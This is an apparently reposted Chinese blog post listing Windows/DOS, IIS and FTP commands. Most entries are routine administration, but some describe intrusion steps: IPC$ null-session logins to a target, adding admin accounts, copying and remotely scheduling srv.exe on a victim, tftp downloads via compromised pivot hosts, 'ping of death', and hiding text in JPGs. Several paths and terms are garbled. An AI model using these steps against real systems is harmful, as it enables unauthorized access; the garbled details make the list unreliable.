1. 程式人生 > >最完整的dos命令字典,IIS服務命令,FTP命令

最完整的dos命令字典,IIS服務命令,FTP命令

mgr 發送 mat 創建時間 direct ipc$ lean work tour

https://www.cnblogs.com/accumulater/p/10670051.html(優秀博文)

一、最完整的dos命令字典
net use ipipc$ " " /user:" " 建立ipc空鏈接
net use ipipc$ "密碼" /user:"用戶名" 建立ipc非空鏈接
net use h: ipc$ "密碼" /user:"用戶名" 直接登陸後映射對方c:到本地為h:
net use h: ipc$ 登陸後映射對方c:到本地為h:
net use ipipc$ /del 刪除ipc鏈接
net use h: /del 刪除映射對方到本地的為h:的映射
net user 用戶名 密碼 /add 建立用戶

net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名查看帳戶的屬性
net localgroup administrators用戶名 /add 把“用戶”添加到管理員中使其具有管理員權限,註意:administrator後加s用復數
net start 查看開啟了哪些服務 net localgroup administrators 用戶名 /add
net start 服務名 開啟服務;(如:net start telnet, net start schedule)
net stop 服務名停止某服務
net time 目標ip 查看對方時間
net time 目標ip /set 設置本地計算機時間與“目標ip”主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地局域網內開啟了哪些共享
net view ip 查看對方局域網內開啟了哪些共享
net c 顯示系統網絡設置
net logoff 斷開連接的共享
net pause 服務名暫停某服務
net send ip "文本信息" 向對方發信息
net ver 局域網內正在使用的網絡連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除c:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼更改系統登陸密碼
netstat -a 查看開啟了哪些端口,常用netstat -an
netstat -n 查看端口的網絡連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -a ip 對方136到139其中一個端口開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-註意:參數-a要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:“-w數字”用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32字節的數據,參數:“-l[空格]數據包大小”;“-n發送數據次數”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64k的文件並一直ping就成了死亡之ping)
ipc (winipcfg) 用於windows nt及xp(windows 95 98)查看本地ip地址,ipc
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的support/tools文件夾內)
kill -f 進程名加-f參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的support/tools文件夾內)
del -f 文件名加-f參數後就可刪除只讀文件,/ar、/ah、/as、/aa分別表示刪除只讀、隱藏、系統、存檔文件,/a-r、/a-h、/a-s、/a-a表示刪除除只讀、隱藏、系統、存檔以外的文件。例如“del/ar *.*”表示刪除當前目錄下所有只讀文件,“del/a-s *.*”表示刪除當前目錄下除系統文件以外的所有文件
del /s /q 目錄或用:rmdir /s /q 目錄 /s刪除目錄及目錄下的所有子目錄和文件。同時使用參數/q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符路徑要移動的文件名 存放移動文件的路徑移動後文件名移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號開啟已註冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計劃任務
at 查看所有的計劃任務
at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 端口遠和登陸服務器,默認端口為23
open ip 連接到ip(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑文件名1 路徑文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
copy c:srv.exe ipadmin$ 復制本地c:srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ascll格式文件
copy ipadmin$svv.exe c: 或:copyipadmin$*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地c:
xcopy 要復制的文件或目錄樹 目標地址目錄名復制文件和目錄樹,用參數/y將不提示覆蓋相同文件
tftp -i 自己ip(用肉機作跳板時這用肉機ip) get server.exe c:server.exe 登陸後,將“ip”的server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ascii模式(傳送文本文件模式)進行傳送
tftp -i 對方ip put c:server.exe 登陸後,上傳本地c:server.exe至主機
ftp ip 端口用於上傳文件至服務器或進行文件操作,默認端口為21。bin指用二進制方式傳送(可執行文件進);默認為ascii格式傳送(文本文件時)
route print 顯示出ip路由,將主要顯示網絡地址network addres,子網掩碼netmask,網關地址gateway addres,接口地址interface
arp 查看和處理arp緩存,arp是名字解析的意思,負責把一個ip解析成一個物理性的mac地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -a -r -s -h 或+a +r +s +h 去掉(添加)某文件的存檔,只讀,系統,隱藏屬性;用+則是添加為某屬性
dir 查看文件,參數:/q顯示文件及目錄屬系統哪個用戶,/t:c顯示文件創建時間,/t:a顯示文件上次被訪問時間,/t:w上次被修改時間 date /t 、 time /t 使用此參數即“date/t”、“time/t”將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變量名稱=要指派給變量的字符設置環境變量
set 顯示當前所有的環境變量
set p(或其它字符) 顯示出當前以字符p(或其它字符)開頭的所有環境變量
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變量)
goto 標簽將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:“:start”標簽)
call 路徑批處理文件名從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變量)
echo 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "hello" aa.txt 在aa.txt文件中尋找字符串hello
find 文件名查找某文件
title 標題名字更改cmd窗口標題名字
color 顏色值設置cmd控制臺前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、a=淡綠、b=淡淺綠、c=淡紅、d=淡紫、e=淡黃、f=亮白
prompt 名稱更改cmd.exe的顯示的命令提示符(把c:、d:統一改為:entsky )
ver 在dos窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /fs:類型格式化磁盤,類型:fat、fat32、ntfs ,例:format d: /fs:ntfs
md 目錄名創建目錄
replace 源文件 要替換文件的目錄替換文件
ren 原文件名 新文件名重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名顯示文本文件的內容
more 文件名逐屏顯示輸出文件
doskey 要鎖定的命令=字符
doskey 要解鎖命令= 為dos提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /f d: 檢查磁盤d並顯示狀態報告;加參數/f並修復磁盤上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認端口23為其它任何端口
exit 退出cmd.exe程序或目前,用參數/b則是退出當前批處理腳本而不是cmd.exe
path 路徑可執行文件的文件名為可執行文件設置一個路徑。
cmd 啟動一個win2k命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 註冊表文件名導入註冊表;參數/s指安靜模式導入,無任何提示;
regedit /e 註冊表文件名導出註冊表
cacls 文件名 參數顯示或修改文件訪問控制列表(acl)——針對ntfs格式時。參數:/d 用戶名:設定拒絕某用戶訪問;/p 用戶名:perm 替換指定用戶的訪問權限;/g 用戶名:perm 賦予指定用戶訪問權限;perm 可以是: n 無,r 讀取, w 寫入, c 更改(寫入),f 完全控制;例:cacls d:test.txt /d pub 設定d:test.txt拒絕pub用戶訪問。
cacls 文件名查看文件的訪問用戶權限列表
rem 文本內容在批處理文件中添加註解
netsh 查看或更改本地網絡配置情況
二:IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有internet服務
iisreset /restart 停止然後重新啟動所有internet服務
iisreset /status 顯示所有internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)internet服務的重新啟動
iisreset /reboot 當啟動、停止或重新啟動internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止internet服務,將不會強制終止internet服務
iisreset /timeout val在到達逾時間(秒)時,仍未停止internet服務,若指定/reboot
三:FTP命令詳解:
FTP命令是Internet用戶使用最頻繁的命令之一,熟悉並靈活應用FTP的內部命令,可以大大方便使用者,並收到事半功倍之效。如果你想學習使用進行後臺FTP下載,那麽就必須學習FTP指令。
ftp -v -d -i -n -g[主機名] -v 顯示遠程服務器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或?[命令] 查看命令說明
bye 或 quit 終止主機ftp進程,並退出ftp管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ascii方式傳送文件(缺省值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠程服務器的ftp會話(與open對應)
open host[port] 建立指定ftp服務器連接,可指定連接端口
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前ftp的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果缺省,就轉到當前用戶的home目錄
chmod 改變遠端主機的文件權限
case 當為on時,用mget命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cdup 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
FTP使用的內部命令如下(中括號表示可選項):
1.![cmd[args]]:在本地機中執行交互shell,exit回到ftp環境,如:!ls*.zip
2.$ macro-ame[args]: 執行宏定義macro-name。
3.account[password]: 提供登錄遠程系統成功後訪問系統資源所需的補充口令。
4.append local-file[remote-file]:將本地文件追加到遠程系統主機,若未指定遠程系統文件名,則使用本地文件名。
5.ascii:使用ascii類型傳輸方式。
6.bell:每個命令執行完畢後計算機響鈴一次。
7.bin:使用黑吧文件傳輸方式。
8.bye:退出ftp會話過程。
9.case:在使用mget時,將遠程主機文件名中的大寫轉為小寫字母。
10.cd remote-dir:進入遠程主機目錄。
11.cdup:進入遠程主機目錄的父目錄。
12.chmod mode file-name:將遠程主機文件file-name的存取方式設置為mode,如:chmod 777 a.out。13.close:中斷與遠程服務器的ftp會話(與open對應)。
14.cr:使用asscii方式傳輸文件時,將回車換行轉換為回行。
15.delete remote-file:刪除遠程主機文件。
16.debug[debug-value]:設置調試方式, 顯示發送至遠程主機的每條命令,如:deb up 3,若設為0,表示取消debug。
17.dir[remote-dir][local-file]:顯示遠程主機目錄,並將結果存入本地文件。
18.disconnection:同close。
19.form format:將文件傳輸方式設置為format,缺省為file方式。
20.get remote-file[local-file]: 將遠程主機的文件remote-file傳至本地硬盤的local-file。
21.glob:設置mdelete,mget,mput的文件名擴展,缺省時不擴展文件名,同命令行的-g參數。
22.hash:每傳輸1024字節,顯示一個hash符號(#)。
23.help[cmd]:顯示ftp內部命令cmd的幫助信息,如:help get。
24.idle[seconds]:將遠程服務器的休眠計時器設為[seconds]秒。
25.image:設置黑吧傳輸方式(同binary)。
26.lcd[dir]:將本地工作目錄切換至dir。
27.ls[remote-dir][local-file]:顯示遠程目錄remote-dir, 並存入本地文件local-file。
28.macdef macro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。
29.mdelete[remote-file]:刪除遠程主機文件。
30.mdir remote-files local-file:與dir類似,但可指定多個遠程文件,如:mdir *.o.*.zipoutfile 。
31.mget remote-files:傳輸多個遠程文件。
32.mkdir dir-name:在遠程主機中建一目錄。
33.mls remote-file local-file:同nlist,但可指定多個文件名。
34.mode[modename]:將文件傳輸方式設置為modename, 缺省為stream方式。
35.modtime file-name:顯示遠程主機文件的最後修改時間。
36.mput local-file:將多個文件傳輸至遠程主機。
37.newer file-name: 如果遠程機中file-name的修改時間比本地硬盤同名文件的時間更近,則重傳該文件。38.nlist[remote-dir][local-file]:顯示遠程主機目錄的文件清單,並存入本地硬盤的local-file。
39.nmap[inpattern outpattern]:設置文件名映射機制, 使得文件傳輸時,文件中的某些字符相互轉換, 如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時,文件名變為a1,a2。該命令特別適用於遠程主機為非UNIX機的情況。
40.ntrans[inchars[outchars]]:設置文件名字符的翻譯機制,如ntrans1R,則文件名LLL將變為RRR。
41.open host[port]:建立指定ftp服務器連接,可指定連接端口。
42.passive:進入被動傳輸方式。
43.prompt:設置多個文件傳輸時的交互提示。
44.proxy ftp-cmd:在次要控制連接中,執行一條ftp命令, 該命令允許連接兩個ftp服務器,以在兩個服務器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個服務器間的連接。
45.put local-file[remote-file]:將本地文件local-file傳送至遠程主機。
46.pwd:顯示遠程主機的當前工作目錄。
47.quit:同bye,退出ftp會話。
48.quote arg1,arg2...:將參數逐字發至遠程ftp服務器,如:quote syst.49.recv remote-file[local-file]:同get。 50.reget remote-file[local-file]:類似於get, 但若local-file存在,則從上次傳輸中斷處續傳。
51.rhelp[cmd-name]:請求獲得遠程主機的幫助。
52.rstatus[file-name]:若未指定文件名,則顯示遠程主機的狀態, 否則顯示文件狀態。
53.rename[from][to]:更改遠程主機文件名。
54.reset:清除回答隊列。
55.restart marker:從指定的標誌marker處,重新開始get或put,如:restart 130。
56.rmdir dir-name:刪除遠程主機目錄。
57.runique:設置文件名只一性存儲,若文件存在,則在原文件後加後綴.1, .2等。
58.send local-file[remote-file]:同put。
59.sendport:設置PORT命令的使用。
60.site arg1,arg2...:將參數作為SITE命令逐字發送至遠程ftp主機。
61.size file-name:顯示遠程主機文件大小,如:site idle 7200。
62.status:顯示當前ftp狀態。63.struct[struct-name]:將文件傳輸結構設置為struct-name, 缺省時使用stream結構。
64.sunique:將遠程主機文件名存儲設置為只一(與runique對應)。
65.system:顯示遠程主機的操作系統類型。
66.tenex:將文件傳輸類型設置為TENEX機的所需的類型。
67.tick:設置傳輸時的字節計數器。
68.trace:設置包跟蹤。
69.type[type-name]:設置文件傳輸類型為type-name,缺省為ascii,如:type binary,設置黑吧傳輸方式。 70.umask[newmask]:將遠程服務器的缺省umask設置為newmask,如:umask 3
71.user user-name[password][account]:向遠程主機表明自己的身份,需要口令時,必須輸入口令,如:user anonymous [email protected]
72.verbose:同命令行的-v參數,即設置詳盡報告方式,ftp 服務器的所有響應都將顯示給用戶,缺省為on.
73.?[cmd]:同help.#11
四:7:計算機運行命令全集 winver---------檢查Windows版本wmimgmt.msc----打開windows管理體系結構wupdmgr--------windows更新程序winver---------檢查Windows版本wmimgmt.msc----打開windows管理體系結構wupdmgr--------windows更新程序wwww--------windows腳本宿主設置write----------寫字板winmsd-----系統信息wiaacmgr-------掃描儀和照相機向導winchat--------XP自帶局域網聊天mem.exe--------顯示內存使用情況Msconfig.exe---系統配置實用程序 mplayer2-------簡易widnows media playermspaint--------畫圖板mstsc----------遠程桌面連接mplayer2-------媒體播放機magnify--------放大鏡實用程序mmc------------打開控制臺mobsync--------同步命令dxdiag---------檢查DirectX信息drwtsn32------ 系統醫生devmgmt.msc--- 設備管理器dfrg.msc-------磁盤碎片整理程序
diskmgmt.msc---磁盤管理實用程序dcomcnfg-------打開系統組件服務ddeshare-------打開DDE共享設置dvdplay--------DVD播放器net stop messenger-----停止信使服務net start messenger----開始信使服務 notepad--------打開記事本nslookup-------網絡管理的工具向導ntbackup-------系統備份和還原narrator-------屏幕"講述人"ntmsmgr.msc----移動存儲管理器ntmsoprq.msc---移動存儲管理員操作請求netstat -an----(TC)命令檢查接口syncapp--------創建一個公文包sysedit--------系統配置編輯器sigverif-------文件簽名驗證程序sndrec32-------錄音機shrpubw--------創建共享文件夾secpol.msc-----本地安全策略syskey---------系統加密,一旦加密就不能解開,保護windows xp系統的雙重密碼services.msc---本地服務設置Sndvol32-------音量控制程序sfc.exe--------系統文件檢查器sfc /scannow---windows文件保護tsshutdn-------60秒倒計時關機命令tourstart------xp簡介(安裝完成後出現的漫遊xp程序)taskmgr--------任務管理器eventvwr-------事件查看器eudcedit-------造字程序 explorer-------打開資源管理器packager-------對象包裝程序perfmon.msc----計算機性能監測程序progman--------程序管理器regedit.exe----註冊表 rsop.msc-------組策略結果集regedt32-------註冊表編輯器rononce -p ----15秒關機regsvr32 /u *.dll----停止dll文件運行regsvr32 /u zipfldr.dll------取消ZIP支持cmd.exe--------CMD命令提示符chkdsk.exe-----Chkdsk磁盤檢查certmgr.msc----證書管理實用程序calc-----------啟動計算器charmap--------啟動字符映射表cliconfg-------SQL SERVER 客戶端網絡實用程序Clipbrd--------剪貼板查看器conf-----------啟動netmeetingcompmgmt.msc---計算機管理cleanmgr-------**整理ciadv.msc------索引服務程序osk------------打開屏幕鍵盤odbcad32-------ODBC數據源管理器oobe/msoobe /a----檢查XP是否激活lusrmgr.msc----本機用戶和組logoff---------註銷命令iexpress-------木馬捆綁工具,系統自帶Nslookup-------IP地址偵測器fsmgmt.msc-----共享文件夾管理器utilman--------輔助工具管理器gpedit.msc-----組策略

最完整的dos命令字典,IIS服務命令,FTP命令